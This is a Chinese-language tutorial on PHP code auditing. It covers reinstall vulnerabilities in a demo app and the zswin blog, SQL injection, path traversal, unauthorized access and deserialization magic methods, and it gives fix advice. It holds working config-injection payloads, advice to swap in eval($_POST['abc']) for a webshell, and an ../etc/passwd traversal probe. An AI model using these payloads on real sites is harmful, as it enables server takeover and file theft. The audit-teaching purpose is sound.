PHP代码审计
? title: PHP代码审计
审计前的准备
编辑器:
- sublime text
- notepad++
- PHPStorm + Xdebug
- 一些其他的编辑器
审计辅助插件
- Seay源代码审计系统
- RIPS
- 正则调试器
- 超级加解密转换工具
开始之前:
1、DVWA靶场练习
2、CTF中一些代码审计相关的题
? 南邮CTF
? Bugku CTF
多看看别人代码审计的文章
通读全文的方法
- index文件,index文件时一个程序的入口文件。所以通常我们只要读一读index文件就可以大致了解整个程序的架构,运行的流程,包含的文件,建议最好先将几个核心目录的index文件都简单读一遍
- 函数集文件,一般在index文件中都会包含函数集文件,通常命名为functions,common等关键字,这些文件都是一些公共的函数,提供给其他文件统一调用
- 配置文件,通常命名中包括config关键字。里面包含一些功能性配置选项以及数据库配置信息,还可以注意下参数值使用单引号还是双引号
- 安全过滤文件,文件过滤文件对我们做代码审计至关重要,关系到我们挖掘到的可以点能不能利用,通常命名中有filter,safe,check等关键字,这类文件主要是对参数进行过滤。
敏感函数回溯参数过程
直接使用工具可以扫出一些敏感的参数
例如,通过select、insert 结合from和where等关键字,判定是一条SQL语句,然后通过对字符串的识别,判断这个SQL语句里边的参数有没有拼接或者单引号过滤
HTTP头里面的HTTP_CLIENT、HTTP_X_FORWARDFOR等获取到的IP地址,经常没有过滤就直接凭借到SQL语句中,并且因为实在$_SERVER变量中,不受GPC的影响,因此可以查找HTTP_CLIENT、HTTP_X_FORWARDFOR关键字来快速寻找漏洞
定向功能的分析:
- 程序初始安装
- 站点信息泄露
- 文件上传
- 文件管理
- 登录认证
- 数据库备份恢复
- 找回密码
- 验证码
代码审计之重装漏洞
漏洞复现
访问 http://127.0.0.1/install/install.php
提交数据库信息,用brupsuite抓包。(为了便于演示,我将header()语句注释了)
POST /install/install.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/install/install.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close
Cookie: PHPSESSID=jfjge50g22ieqm7ib5ia1quf73
Upgrade-Insecure-Requests: 1
dbhost=localhost&dbuser=root&dbpass=root&dbname=vauditdemo&Submit=%E5%AE%89%E8%A3%9D
将dbname修改为:
testdb;-- -";phpinfo();//
提交。
跳转到index之后可以看到phpinfo()信息
复现成功
代码分析
平台的install.php安装页面, 安装之前会有一段验证是否已经安装的判断语句:
if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
header( "Location: ../index.php" );
}
判断安装生成的lock文件是否存在,如果存在,就重定向到index.php
但是这里存在一个错误,当页面重定向到index之后,并没有执行exit语句来结束进程,所以install.php的进程一直存在。这时如果用brupsuite抓包,提交的数据会被判断语句之后的代码所执行,就会导致重装漏洞。
判断语句后,获取了一些环境信息之后就通过POST方法获取数据库的信息。
(代码经过省略)
if ( $_POST ) {
...
$dbhost = $_POST["dbhost"];
$dbuser = $_POST["dbuser"];
$dbpass = $_POST["dbpass"];
$dbname = $_POST["dbname"];
...
mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );
$str_tmp="<?php\r\n";
$str_end="?>";
$str_tmp.="\r\n";
$str_tmp.="error_reporting(0);\r\n";
$str_tmp.="\r\n";
$str_tmp.="if (!file_exists(\$_SERVER[\"DOCUMENT_ROOT\"].'/sys/install.lock')){\r\n\theader(\"Location: /install/install.php\");\r\nexit;\r\n}\r\n";
$str_tmp.="\r\n";
$str_tmp.="include_once('../sys/lib.php');\r\n";
$str_tmp.="\r\n";
$str_tmp.="\$host=\"$dbhost\"; \r\n";
$str_tmp.="\$username=\"$dbuser\"; \r\n";
$str_tmp.="\$password=\"$dbpass\"; \r\n";
$str_tmp.="\$database=\"$dbname\"; \r\n";
$str_tmp.="\r\n";
$str_tmp.="\$conn = mysql_connect(\$host,\$username,\$password);\r\n";
$str_tmp.="mysql_query('set names utf8',\$conn);\r\n";
$str_tmp.="mysql_select_db(\$database, \$conn) or die(mysql_error());\r\n";
$str_tmp.="if (!\$conn)\r\n";
$str_tmp.="{\r\n";
$str_tmp.="\tdie('Could not connect: ' . mysql_error());\r\n";
$str_tmp.="\texit;\r\n";
$str_tmp.="}\r\n";
$str_tmp.="\r\n";
$str_tmp.="session_start();\r\n";
$str_tmp.="\r\n";
$str_tmp.=$str_end;
$fp=fopen( "../sys/config.php", "w" );
fwrite( $fp, $str_tmp );
fclose( $fp );
可以看到,页面通过所提交的dbhost, dbuser, dbpass, dbname来获取数据库基本信息。
在判断数据库信息是否符合安装条件之后,页面将一段判断是否已经安装的php脚本写入到config.php里。
问题出在其中的一条语句:
$str_tmp.="\$database=\"$dbname\"; \r\n";
可知,dbname是可控的。
当我们将dbname设置为:
testdb;-- -";phpinfo();//
-- - 是为了注释掉后面的sql语句
"; 闭合php语句
// 注释掉后面的php语句
config.php里的语句就会变成:
$database="testdb; -- -"; phpinfo();//";
也就会执行phpinfo(), 当我们把phpinfo()修改为:eval($_POST['abc'])
就可以直接getshell;
zswin博客重装漏洞 getshell 复现
在百度上直接搜到的一个重装漏洞,博客系统有点老了,但是拿来学习还是不错的。
参考:https://shuimugan.com/bug/view?bug_no=119025
漏洞复现
在已经安装好的博客,直接访问:
http://127.0.0.1/zwin/install.php?m=install&c=index&a=setconf
不会跳转到主页,直接进入安装向导页面。
其他地方正常填写,将数据表前缀改为:
zs_');phpinfo();//
点击下一步,数据库就可以创建成功
之后再访问:
http://127.0.0.1/zwin/app/user/conf/config.php
可以看到phpinfo(),把phpinfo()修改为:eval($_POST['abc'])
就可以直接getshell;
漏洞复现成功
代码分析
存在漏洞的页面:
install/install/controller/indexcontroller.class.php
页面开头存在一个index()方法用于判断是否安装成功:
public function index(){
if (is_file('./Data/install.lock')) {
header('Location: ./index.php');
exit;
}
根据参考文章的说法:
但是这个不是类的初始化函数所以不影响其他方法的使用。
我在页面当中没有找到引用index()方法的语句,应该是ThinkPHP框架的一些固定用法吧。这个问题等后面学习了ThinkPHP框架后再说。
继续往下看。
public function finish_done() {
...
$auth = build_auth_key();
$config_data['DB_TYPE'] = $temp_info['db_type'];
$config_data['DB_HOST'] = $temp_info['db_host'];
$config_data['DB_NAME'] = $temp_info['db_name'];
$config_data['DB_USER'] = $temp_info['db_user'];
$config_data['DB_PWD'] = $temp_info['db_pass'];
$config_data['DB_PORT'] = $temp_info['db_port'];
$config_data['DB_PREFIX'] = $temp_info['db_prefix'];
$db = Db::getInstance($config_data);
$config_data['WEB_MD5'] = $auth;
$conf = write_config($config_data);
...
}
可知,在finish_done()方法中,有一个函数为write_config(),所传递的参数为数据库配置信息。
而这些数据配置信息,都没有经过过滤或检查。都是直接接收POST数据来进行传递的。
跟踪这个函数至:install/install/common/function.php
function write_config($config, $auth){
if(is_array($config)){
//读取配置内容
$conf = file_get_contents(MODULE_PATH . 'sqldata/conf.tpl');
$user = file_get_contents(MODULE_PATH . 'sqldata/user.tpl');
//替换配置项
foreach ($config as $name => $value) {
$conf = str_replace("[{$name}]", $value, $conf);
$user = str_replace("[{$name}]", $value, $user);
}
//写入应用配置文件
file_put_contents('./App/Common/Conf/config.php', $conf);
file_put_contents('./App/User/Conf/config.php', $user);
return '';
}
}
可知,函数的功能是读取sqldata目录下的两个配置文件,将传递进来的数据库配置信息分别写入到两个config.php里去。
先看一下user.sql:
<?php
/**
* UCenter客户端配置文件
* 注意:该配置文件请使用常量方式定义
*/
define('UC_APP_ID', 1); //应用ID
define('UC_API_TYPE', 'Model'); //可选值 Model / Service
define('UC_AUTH_KEY', '[WEB_MD5]'); //加密KEY
define('UC_DB_DSN', '[DB_TYPE]://[DB_USER]:[DB_PWD]@[DB_HOST]:[DB_PORT]/[DB_NAME]'); // 数据库连接,使用Model方式调用API必须配置此项
define('UC_TABLE_PREFIX', '[DB_PREFIX]'); // 数据表前缀,使用Model方式调用API必须配置此项
?>
除了DB_NAME, DB_PREFIX可以修改以外,修改其他的数据配置会导致数据库创建失败。
所以,这里可以利用的就存在两处
将DB_NAME赋值为:
zswin1]');phpinfo();//
或者将DB_PREFIX赋值为:
zs_');phpinfo();//
都可以利用成功。
/App/User/Conf/config.php就会变成:
Copydefine('UC_DB_DSN', 'mysql://root:root@127.0.0.1:3306/zswin1]');phpinfo();//'); // 数据库连接,使用Model方式调用API必须配置此项
//或者
define('UC_TABLE_PREFIX', 'zs_');phpinfo();//'); // 数据表前缀,使用Model方式调用API必须配置此项
sqldata/conf.tpl也是一样的步骤,只不过user.tql可以更容易闭合语句。
重装漏洞修复建议
- 正确处理lock文件【lock文件用于检查是否已经安装完成】
- 判断安装完成后要退出【有一个exit语句,退出进程】
- 在安装的每一步都需要验证【在安装过程的每一个页面都需要验证】
- 对所有输入点进行过滤
代码审计之sql注入
防止SQL注入
数据处理函数
- mysqli_real_escape_string(connection,escapestring):转义在SQL语句中使用的字符串中的特殊字符。escapestring要转义的字符串。编码的字符是NUL(ASCLL 0)、\n 、\r 、 ' 、" 和 Control-Z
- addslashes()函数返回在预定义字符之前添加反斜杠则字符串。返回在预定义字符之前添加反斜杠的字符串。预定义字符是: ' " \ NULL
- stripslashes()与addslashed()函数相反
- preg_match(pattern,subject......)搜索subject 与pattern给定的正则表达式的一个匹配
SQL注入漏洞审计流程
- 在seay中开启查询日志(审计插件中的MySQL监控)
- 查找系统的输入点,尝试输入一些内容并执行
- 跟随输入信息,判断输入的内容是否被过滤,是否可利用
- 构造注入语句进行测试
寻找输入点的方法:
1、表单提交,主要是POST请求和GET请求
2、URL参数提交,主要是GET请求参数
3、Cookie参数提交
4、HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。
5、一些边缘的输入点,比如.jpg文件的一些文件信息等
thinkphp是一个基于MVC模式的框架
MVC模式:软件工程中的一种软件架构,把软件系统分为了三个部分:模型(M)【处理从视图部分所输入的数据】、视图(V)、控制器(C)
什么是模型-视图-控制器(MVC)
a、模型(Model)
模型是应用程序的主体部分。模型表示业务数据,或者业务逻辑.
b、视图(View)
视图是应用程序中用户界面相关的部分,是用户看到并与之交互的界面。
c、控制器(controller)
控制器工作就是根据用户的输入,控制用户界面数据显示和更新model对象状态。
PHP代码审计之文件包含
手工探测
1、在路径中添加abc/../ 看是否可以回溯
? http://127.0.0.1/download.php?filename=xxx.doc
2、修改为http://127.0.0.1/download.php?filename=abc/../xxx.doc
? 如果两次下载文件相同,则继续下面的测试
3、确定是否可以下载任意文件
? http://127.0.0.1/download.php?filename=../../../../etc/passwd
未授权访问漏洞
用户认证
检查代码进行用户认证的位置,是否能够进行绕过认证,例如:登录代码可能存在表单注入
检查登录代码有无使用验证码等防止爆破的手段
检查session的时效性,防止因为一个session的长久有效不销毁,而导致的验证码、密码、用户名破解成为可能
函数或文件的未认证调用
一些管理页面是禁止普通用户访问的,有时开发者会忘记对这些文件进行权限验证,导致漏洞发发生
某些页面使用参数调用功能,没有经过权限认证,如:index.php?action=upload
密码问题
有的程序会把数据库连接账户和密码直接写入到数据库连接函数中
修复建议
- 加入用户身份认证机制(session、cookie)或token验证
- 对系统的功能点增加权限控制
- 敏感操作限制IP
- 服务器作访问限制
反序列化漏洞
序列化: 可以理解为把一个对象变成一个可以传输的字符串 JSON格式就是一种序列化【把数组类型的序列化为一个字符串】
在php中,可以对数组,变量,对象等进行序列化(静态变量,常量不会被序列化)
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
反序列化可以控制类属性,无论是private还是public
漏洞的成因
PHP将所有以__(两个下划线)开头的类方法保留为魔术方法,所以在定义类方法的时候,除了下述的魔术方法,建议不要以 __为前缀
常见的魔术方法:
- __construct() 当一个对象创建时被调用
<?php
class Test{
var $test = "demo";
function __construct(){
echo $this->test;
}
}
$a = new Test;
?>
- __destruct() 当一个对象销毁时被调用
<?php
class Test{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = new Test;
?>
- __toString() 当一个对象被当作一个字符串时使用
<?php
class Test{
var $test = "demo";
function __toString(){
echo $this->test;
return "hello world";
}
}
$a = new Test;
echo $a;#把a当作字符串输出,触发__toString函数并且执行
?>
- __sleep() 在对象被序列化之前运行
<?php
class Test{
var $test = "demo
";
function __toString(){
echo $this->test;
return "hello world";
}
function __sleep(){
echo "ready to serialize";
}
}
$a = new Test;
$b = serialize($a);
#进行序列化,执行__sleep函数
echo '
';
var_dump($a);
?>
- __wakeup() 将在反序列化之后被调用
<?php
class Test{
var $test = "demo
";
function __toString(){
echo $this->test;
return "hello world";
}
function __wakeup(){
echo "it has been Deserialization".'
';//当进行反序列化的时候调用该函数并输出
}
}
$a = new Test;
$b = serialize($a);
$c = unserialize($b);
echo $c;
?>
PHP类中的特殊属性
? 序列化为了能把整个类对象的各种信息完整的压缩,格式化,也会将属性的权限序列化进去。但是不同类型的属性会有不同的格式
- 1、Public权限
- 可以内部调用,实例调用等
- 2、Private权限
- 被private修饰的只能是同一个类可以访问
- 3、Protected权限
- 对继承的类开放,没继承的类不开放
序列化只是序列化属性,不序列化方法